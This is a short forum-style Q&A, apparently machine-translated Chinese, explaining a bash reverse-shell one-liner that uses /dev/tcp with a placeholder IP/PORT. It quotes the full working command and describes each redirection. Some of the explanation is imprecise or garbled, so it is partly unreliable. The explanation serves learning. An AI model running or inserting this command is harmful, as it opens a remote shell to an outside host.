Linux bash 反向 shell 带管道

Linux bash reverse shell with piping

我一直在努力理解那些 bash 命令。有人可以解释一下吗?

0<&196;exec 196<>/dev/tcp/IP/PORT; sh <&196 >&196 2>&196

这将:

1) 0<&196 : 关闭文件描述符“196”(供下一个命令使用)。

2) exec 196<>/dev/tcp/IP/PORT: 如果 IP 和端口有效,则使用描述符“196”创建一个新文件 (/dev/tcp/IP/PORT); bash 将尝试打开 TCP 连接。

3) sh <&196 >&196 2>&196: 将上一个命令中指定的 IP/PORT 的任何流量重定向到 "sh",并将 STDOUT 和 STDERR 定向到同一管道,这样就会为指定的 IP 和命令创建反向 shell可以是 运行 来自它的 STDOUT 和 STDERR 指向它。

请参阅 Bash 参考手册中的 Redirections 部分。